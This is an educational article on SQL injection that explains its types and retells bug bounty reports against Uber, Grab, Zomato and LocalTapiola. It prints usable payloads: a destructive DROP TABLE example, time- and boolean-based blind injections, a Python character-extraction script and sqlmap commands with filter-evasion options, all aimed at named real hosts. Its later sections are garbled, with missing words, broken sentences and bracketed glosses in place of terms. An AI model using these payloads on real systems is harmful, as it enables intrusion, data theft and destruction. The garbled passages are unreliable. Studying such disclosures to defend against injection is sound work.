SQL injection (SQLi) is consistently ranked as one of the most critical web vulnerabilities by organizations like OWASP (Open Web Application Security Project). This type of injection allows an attacker to manipulate a web application’s backend database by injecting malicious SQL code, also known as payloads, into a vulnerable input field.
A successful SQLi attack can have a devastating impact on a business. Depending on the level of exploitation, an attacker could gain unauthorized access to user data, delete crucial information, and even obtain administrative rights to the database. The consequences are severe, often leading to:
- Disclosure of sensitive data: This includes user credentials, credit card numbers, phone numbers, and user location data.
- Authentication and authorization bypass: Attackers can circumvent login mechanisms and gain privileged access.
- Data integrity corruption: The attacker can add, delete, modify, or update database contents, compromising data integrity.
For a business, the financial and reputational cost of a breach resulting from SQLi can be immense.
How SQL Injection Works: An Illustrative Example
Consider a simple e-commerce website that retrieves product information from a database based on a productID in the URL. A legitimate URL might look like this:
http://www.store.com/items/items.asp?itemid=111
The application’s backend query would be:
SELECT ItemName, ItemDescription
FROM Items
WHERE ItemNumber = 111If the application does not properly sanitize user input, an attacker can append a malicious payload to the URL, tricking the database into returning more data. For example, by adding or 1=1 to the URL, the attacker crafts the following request:
http://www.store.com/items/items.asp?itemid=111 or 1=1
This changes the query sent to the database:
SELECT ItemName, ItemDescription
FROM Items
WHERE ItemNumber = 111 or 1=1Since 1=1 is always TRUE, the query returns all items in the database, including those with restricted access. Attackers can also use incorrectly filtered characters, like a semicolon, to execute multiple commands at once. A more destructive example might be:
http://www.store.com/items/iteams.asp?itemid=111; DROP TABLE Users
This manipulates the query to:
SELECT ItemName, ItemDescription
FROM Items
WHERE ItemNumber = 111; DROP TABLE USERSUpon execution, the attacker could effectively delete the entire Users table from the database, demonstrating the critical nature of this vulnerability.
Types of SQL Injection Vulnerabilities
SQL injection is broadly categorized into three types, each with a different method of exploiting and interacting with the database.
1. In-band SQLi (Classic SQLi)
This is the most common and easiest type of SQL injection to exploit. It occurs when the attacker uses the same communication channel to both launch the attack and receive the results. In-band SQLi is further divided into two main subtypes:
- Error-based SQLi: This technique relies on the attacker deliberately triggering verbose error messages from the database. These errors can inadvertently reveal critical information about the database’s structure, such as table names, column names, and data types. By analyzing these errors, an attacker can map out the entire database. This is a primary reason why detailed error messages should be disabled on live production websites.
- Union-based SQLi: This type of in-band SQLi takes advantage of the
UNIONSQL operator, which is used to combine the results of two or moreSELECTstatements into a single, consolidated result. An attacker can append a maliciousUNION SELECTquery to a legitimate one, allowing them to retrieve data from other tables and have the results displayed directly in the web application’s response. This is a powerful technique for data exfiltration.
2. Inferential SQLi (Blind SQLi)
Commonly known as blind SQLi, this attack is used when the web application does not return a direct response or any error messages. The attacker cannot see the result of their injected queries directly. Instead, they must “infer” or deduce information about the database by observing the application’s behavior. This type of attack is often more time-consuming but can be just as dangerous. It has two main variations:
- Boolean-based blind SQLi: In this approach, the attacker sends a query that forces the application to return a result (or lack thereof) that depends on whether the query’s condition is true or false. For example, a query might ask, “Does the users table exist?” and if it’s true, the page content might change slightly, or the page might simply load differently. By asking a series of true/false questions, the attacker can systematically reconstruct the database’s structure, character by character.
- Time-based blind SQLi: This is a more subtle method where the attacker’s query causes a time delay in the server’s response if a condition is met. For instance, a query might instruct the database to “pause for 10 seconds if the first letter of the database name is ‘A’.” By measuring the response time, the attacker can determine if their guess was correct. This is a very slow process, but it’s effective in environments where no other feedback is available.
3. Out-of-band SQLi
This type of attack is less common and is typically only used when an attacker cannot use the same channel to both launch the attack and receive results. Out-of-band SQLi relies on the database management system (DBMS) being able to initiate network requests to an external server controlled by the attacker. This might involve a SQL Server command that performs a DNS request or an Oracle function that makes an HTTP request. This method is often used to exfiltrate data from a highly secure network that doesn’t provide direct feedback.
Goals of an SQL Injection Attack
For bug bounty hunters and malicious actors alike, SQL injection is a highly valuable vulnerability because it can be used to achieve a wide range of critical goals.
- Data Exfiltration: This is the most common objective. A successful SQLi attack can be used to steal sensitive information such as user credentials, credit card details, phone numbers, and other personal data. A bug bounty proof of concept (PoC) often includes a screenshot showing this type of data theft to demonstrate the vulnerability’s impact.
- Data Manipulation: Beyond stealing data, SQL injection can be used to alter, insert, or delete information in the database. A bug bounty hunter might show that they can feed false information into a table or update a user’s record to demonstrate a more significant impact beyond simple information disclosure.
- Privilege Escalation & System Takeover: In a very critical scenario, an SQLi vulnerability can be chained with other flaws to gain full control of the database server or the entire application. Attackers can use the vulnerability to escalate their privileges to an administrator, execute commands on the host machine, or even upload a malicious file that leads to remote code execution (RCE). This is the highest level of impact and can result in a significant bounty.
SQL injection is a critical vulnerability because it’s a versatile attack vector. It can be a standalone attack for data theft or a stepping stone to perform more devastating attacks like stored cross-site scripting (XSS), remote code execution, or complete application takeover.
This case study highlights a critical SQL injection vulnerability discovered by renowned security researcher Orange Tsai in Uber’s Chinese email tracking infrastructure. Below is a clear, structured summary and analysis of the incident, suitable for educational or reporting purposes:
Time-Based Blind SQL Injection
The vulnerability was a Time-Based Blind SQL Injection discovered by Orange Tsai in the unsubscribe link of an email sent from Uber’s Chinese domain, sctrack.email.uber.com.cn. The issue was found in the p URL parameter, which contained a Base64-encoded JSON object with a vulnerable user_id field. The researcher was awarded a $4,000 bounty.
Vulnerability Details
- Vulnerability Type: Time-Based Blind SQL Injection (SQLi).
- Vulnerable Component: The
pquery parameter of the unsubscribe URL (http://sctrack.email.uber.com.cn/track/unsubscribe.do). - Vulnerable Input: The value of the
pparameter was a Base64-encoded JSON object. Inside this object, theuser_idfield was unsafely incorporated into a SQL query without proper sanitization. - Initial Discovery: Orange Tsai observed that the unsubscribe link structure in an Uber email received in China was different from standard Uber emails, prompting a closer inspection.
Proof-of-Concept and Exploitation
The exploitation method relied on time-based SQL injection, a technique used when an attacker cannot directly see the output of the SQL query. Instead, the attacker infers the database response by measuring the time it takes for the server to respond after executing a conditional SQL statement.
1. The Exploit Payload
The attack involved crafting a malicious JSON object and embedding the SQL injection payload in the user_id field.
Original JSON Data Structure (Decoded):
{"user_id": "5755", "receiver": "orange@mymail"}
Time-Based SQLi Payload (Injected into user_id):
5755 and sleep(12)=1
Malicious JSON Object (Decoded):
{"user_id": "5755 and sleep(12)=1", "receiver": "orange@mymail"}
The sleep(12) command instructs the database to pause for 12 seconds if the preceding condition (5755 and...) is true. The presence of a 12-second delay in the HTTP response confirms that the SQL payload was executed, demonstrating the injection vulnerability.
2. Automated Data Exfiltration
To extract meaningful information (like the database user and name), the researcher used a script to iteratively test characters and measure response times, a process known as Blind SQLi automation
base = string.digits + '_-@.'
payload = {"user_id": 5755, "receiver": "blog.orange.tw"}
for l in range(0, 30):
for i in 'i'+base:
payload['user_id'] = "5755 and mid(user(),%d,1)='%c'#"%(l+1, i)
new_payload = json.dumps(payload)
new_payload = b64encode(new_payload)
r = requests.get('http://sctrack.email.uber.com.cn/track/unsubscribe.do?p='+quote(new_payload))
This script:
- Iterates through possible characters (
base) for a specific position (l+1) in the target string (e.g., the current database user, as indicated byuser()). - Uses the SQL command
mid(user(),%d,1)='%c'to check if the character at a certain position matches the tested character (i). - Encodes the entire JSON object first with Base64 (
b64encode) and then URL-quotes it (quote) to ensure it’s safely transported as thepparameter value in the URL. - If the guessed character is correct, the associated
sleep()command would execute, causing a noticeable delay in therequests.get()response time, thus confirming the character.
3. Exploitation Output
The attack successfully disclosed the database user and database name:
- Database User:
sendcloud_w@10.9.79.210 - Database Name:
sendcloud
Recommended Python Encoding Correction
The provided script snippet uses b64encode followed by quote. For URL parameters that are intended to be decoded at the server side, it is safer and more robust to use the URL-safe Base64 encoding to avoid characters like + and /, which have special meaning in URLs and might be misinterpreted or require specific URL-encoding/decoding by the server.
The correct way to perform the Base64 encoding and URL quoting for a URL parameter in Python would be to:
- Encode to bytes: The JSON string must first be converted to a bytes object (e.g., using
encode('utf-8')). - Use
urlsafe_b64encode: This function from Python’sbase64library handles the necessary character substitutions (+with-and/with_) to make the Base64 output safe for URL transmission. - Remove padding: Although
urlsafe_b64encodeis usually sufficient, for a cleaner URL, you may also remove the=padding, as it’s often optional in URL contexts. The subsequentquote()call is often not strictly necessary ifurlsafe_b64encodeis used correctly.
Corrected Encoding Logic:
Python
import json
import base64
import urllib.parse
# 1. Define the payload
payload = {"user_id": "5755 and mid(user(),1,1)='s'#", "receiver": "blog.orange.tw"}
new_payload_str = json.dumps(payload)
# 2. Encode to bytes
new_payload_bytes = new_payload_str.encode('utf-8')
# 3. Use URL-safe Base64 encoding, and remove padding
url_safe_b64_encoded = base64.urlsafe_b64encode(new_payload_bytes).rstrip(b'=').decode('utf-8')
# The final URL would then be:
# r = requests.get('http://sctrack.email.uber.com.cn/track/unsubscribe.do?p=' + url_safe_b64_encoded)SQL Injection via Formidable Plugin on drivegrab.com
The SQL Injection vulnerability on Grab’s former www.drivegrab.com website was an unauthenticated blind SQL Injection flaw in the Formidable Pro WordPress plugin. It was discovered by security researcher Jouko and earned a $4,500 bounty.
The vulnerability was an example of vulnerability chaining, where an HTML injection flaw (allowing the insertion of WordPress shortcodes) was chained with a flaw in the shortcode processing to enable SQL Injection. The attack exploited an AJAX function intended for administrators but accessible to unauthenticated users, which processed user-supplied HTML containing a vulnerable shortcode.
Vulnerability Details
| Detail | Description |
| Vulnerable Application | www.drivegrab.com (a WordPress-based site) |
| Vulnerable Component | Formidable Pro (WordPress form-building plugin) |
| Vulnerable Function | AJAX function frm_forms_preview (intended for admin form preview) |
| Vulnerable Shortcode | [display-frm-data] |
| Vulnerable Parameter | order_by or order parameter within the [display-frm-data] shortcode |
| Vulnerability Type | Unauthenticated Blind SQL Injection (exploited via a chained HTML Injection) |
| Root Cause | Insufficient sanitization of user-supplied input (after_html parameter, which accepts shortcodes) that flowed into a database query’s ORDER BY clause. |
| Impact | Potential to extract sensitive information from the database, including driver partners’ Personally Identifiable Information (PII). |
Exploitation Process
The exploitation of this vulnerability was a multi-step process:
- Discovering Unauthenticated Access: Jouko discovered that the AJAX function for form preview,
frm_forms_preview, was accessible at the administrative endpointhttps://www.drivegrab.com/wp-admin/admin-ajax.phpeven without authentication. - Chaining HTML/Shortcode Injection:
- Initial
curlrequests confirmed that theaction=frm_forms_previewparameter could be combined with aafter_htmlparameter to inject arbitrary HTML, such as:curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=hello world' - This confirmed the HTML Injection part of the chain.
- Initial
- Inserting the Vulnerable Shortcode: The
after_htmlparameter accepted WordPress shortcodes. Jouko then inserted the Formidable Pro shortcode[display-frm-data]which is used to display form entries:curl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=XXX[display-frm-data id=835]YYY' - Injecting SQL into Shortcode Parameters: The
[display-frm-data]shortcode accepts parameters likeorder_byandorderfor sorting the output. Jouko found that input in these parameters was unsafely incorporated into the underlying SQL query:
The junk valuecurl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=XXX[display-frm-data id=835 order_by=id limit=1 order=zzz]YYY'zzzin theorderparameter caused a database error, confirming that input was being processed within an SQL query, specifically in theORDER BYclause. Since the query results weren’t directly displayed, it was classified as a Blind SQL Injection.
Blind SQL Injection with sqlmap
Exploiting this particular vulnerability manually was complicated due to the way the plugin processed commas (which are essential for many SQLi payloads) and other characters. Jouko used the automated SQL Injection tool sqlmap with specific parameters to handle these limitations:
Jouko crafted a payload targeting the order parameter, using boolean-based blind SQL injection:
./sqlmap.py -u 'https://www.drivegrab.com/wp-admin/admin-ajax.php' \
--data 'action=frm_forms_preview&before_html=XXX[display-frm-data id=835 order_by=id limit=1 order="* (true=true)"]XXX' \
--param-del ' ' -p true --dbms mysql --technique B \
--string "persondetailstable" \
--eval 'true=true.replace(",",",-it.id%2b");order_by="id,"*true.count(",")+"id"' \
--tamper commalesslimit
This allowed full database enumeration.
The final payload included special parameters to overcome plugin-specific filtering:
--technique B: Specifies Boolean-based Blind SQL injection, necessary because the query results were not directly visible to the attacker. The attack relied on inferring data by observing subtle changes or errors in the application’s response (hence “Blind”).--tamper commalesslimit: This module insqlmaphelped craft payloads without using the comma character inLIMITclauses, which was being incorrectly handled by the vulnerable plugin.--eval 'true=true.replace(",",",-it.id%2b");order_by="id,"*true.count(",")+"id"': This is the most critical part, a custom Python code snippet forsqlmapthat repaired the injected SQL query.- The plugin logic would append
",it.id"after every comma in the injectedORDER BYclause, corrupting the query. - The
--evalparameter pre-processes the payload by inserting a neutralizing string (-it.id%2b) to cancel out the effect of the plugin’s problematic comma handling, thus allowing complex SQL queries to be successfully injected.
- The plugin logic would append
Dual SQL injection vulnerability
Zomato Vulnerability Analysis: Time-Based SQL Injection on reviews.zomato.com
| Detail | Summary |
| Title | Time-based SQL Injection in Cookie Parameter |
| Web Application URL | https://reviews.zomato.com |
| Reported By | Samengmg |
| Bounty Rewarded | $1,000 |
| Vulnerability Type | Time-based Blind SQL Injection & Boolean-based Blind SQL Injection |
Introduction to the Zomato Platform
Zomato is a well-known online service that facilitates restaurant search, food discovery, and delivery. It functions as a community-based platform where users are encouraged to rate restaurants and leave valuable feedback, providing a resource for other patrons to view. This analysis details a simple yet significant vulnerability discovered by a security researcher named Samengmg within the reviews.zomato.com sub-domain.
Discovery: Anomalous Cookies
While investigating the reviews web application, the security researcher was looking for uncommon [deviations from the norm or what is expected]. During this process, two strangely named cookies were identified:
- Orange
- Squeeze
The presence of these unusual cookie names immediately suggested they might be ripe for further inspection and [an automated software testing technique that involves inputting massive amounts of random data to check for application crashes or unexpected behavior].
Time-Based Blind SQL Injection in the
Cookie
It is crucial in bug bounty hunting to every parameter found, as this technique gives a better understanding of how the application responds to unexpected inputs. This is exactly the methodology the reporter followed.
By injecting various inputs into both the Orange and Squeeze cookies, the researcher discovered a blind SQL injection vulnerability in the Orange cookie.
Identification Payload
The following payload, when incorporated into the Orange cookie, generated a deliberate 10-second sleep response:
1'=sleep(10)='1This confirmed the vulnerability, as the server’s delayed response indicated that the SQL [the act of inserting malicious code or data] command was executed by the back-end database.
Key Observation: In many common scenarios, a SLEEP command that executes successfully might trigger a 302 Redirect response code. However, in this specific case, the successful injection returned a 200 OK status code, making it a peculiar behavior to note.
Exploitation: Determining the Database Version
Following the initial confirmation, the next logical step was to [to create skillfully] a payload to extract more information, specifically the database version. This is done by using conditional statements that only trigger the
SLEEP command if the condition is true:
'=IF(MID(VERSION(),1,1)=1,SLEEP(10),0)='1'=IF(MID(VERSION(),1,1)=5,SLEEP(10),0)='1If the first character of the database version is, for example, ‘5’, the second payload would cause a 10-second delay (a SLEEP(10)), while the first would return instantly. This iterative process allows an attacker to extract the entire database version character by character.
Boolean-Based Blind SQL Injection in the
Cookie
The Squeeze cookie was found to contain a different, yet equally simple, vulnerability: a Boolean-based blind SQL injection. This type of injection relies on observing a or
result from a query, typically by noting a difference in the application’s visual response or HTTP status code.
Identification Payloads
The identification payloads used to determine if a Boolean-based injection was possible were:
1 ' or true#1 ' or false#If the application responded differently (e.g., displaying more content, less content, or a slight change in response code) for the true payload compared to the false payload, it confirms the presence of the vulnerability.
LocalTapiola Vulnerability Analysis: SQL Injection Reports
| Detail | Summary |
| Title | SQL Injection in viestinta.lahitapiola.fi |
| Web Application URL | https://viestinta.lahitapiola.fi |
| Reported By | Yasar and Anandakshya |
| Bounties Rewarded | $1,350 (Yasar) and $1,560 (Anandakshya) |
| Vulnerability Type | Error-based and Simple SQL Injection |
LocalTapiola’s Digital Presence
LocalTapiola (LähiTapiola in Finnish) is a major insurance company offering a variety of life and non-life insurance policies to its customers. Due to its significant and heavy reliance on online,
systems, the company maintains a very active and rewarding bug bounty program on the HackerOne platform. The company received two distinct, yet similar, reports detailing
vulnerabilities on its sub-domain, demonstrating how common this flaw remains.
1. SQL Injection by Yasar: The regId Parameter
Yasar successfully identified a straightforward error-based SQL injection in a URL related to cancelling an [evening school or course] registration. Error-based SQL injection relies on the server’s back-end database outputting an error message that contains information about the database structure or configuration, confirming the vulnerability.
Vulnerable URL and Parameter
The flaw was found in the following URL structure:
http://viestinta.lahitapiola.fi/webApp/cancel_iltakoulu?regId=478836614&locationId=464559674
The identified was
regId.
Exploitation using sqlmap
After identifying the vulnerability, Yasar used the automated tool sqlmap to exploit the flaw. sqlmap is a popular open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws.
The command executed was:
./sqlmap.py -u "http://viestinta.lahitapiola.fi/webApp/cancel_iltakoulu?regId=478836614&locationId=464559674" -p regId
This command instructed sqlmap to target the specified URL (-u) and focus its testing on the regId parameter (-p regId). By successfully running this tool and obtaining the desired [the result or data returned by the system], Yasar was able to
the SQL injection and demonstrate its impact, leading to a
reward.
2. SQL Injection by Anandakshya: The email Parameter
Anandakshya identified another SQL injection of a similar nature, confirming that the LocalTapiola application had multiple .
Vulnerable URL and Parameter
The vulnerability was found in the email parameter on a different application endpoint:
http://viestinta.lahitapiola.fi/webApp/omatalousuk?email=aaaaa
Exploitation
Similar to the previous report, Anand used sqlmap to the vulnerability, showcasing a complete proof of concept. The successful exploitation of this flaw resulted in a higher bounty of
, likely due to a more detailed or impactful demonstration of data extraction.
Key Learning from the Reports
These two reports offer valuable insights for security researchers:
- Simplicity Pays: Both were very
that were identified with relatively little effort and still attracted
. This underscores the fact that not all valuable bugs are complex zero-days.
- Exploitation is Key: The reporters focused on and were rewarded for the exploitation parts of their reports. This tells us that, particularly with
like SQL injection, a full proof of concept that demonstrates the true risk (e.g., successful data
) is what determines a substantial reward.
Summary of SQL Injection Vulnerabilities
SQL Injection has persistently remained at the of the OWASP Top 10 vulnerability listings for many years. The reason for its criticality is simple: if identified and
to the full extent, these flaws can produce
, including the full compromise of sensitive customer and organizational data.
This analysis, combined with reviews of other critical reports (like those concerning Uber and Grab Taxi), provides an overview of what SQL injection truly is, its various types, and how it is into the bug bounty hunting methodology. The goal is to equip the reader with a practical understanding of how real-world SQL injection flaws are found, verified, and rewarded.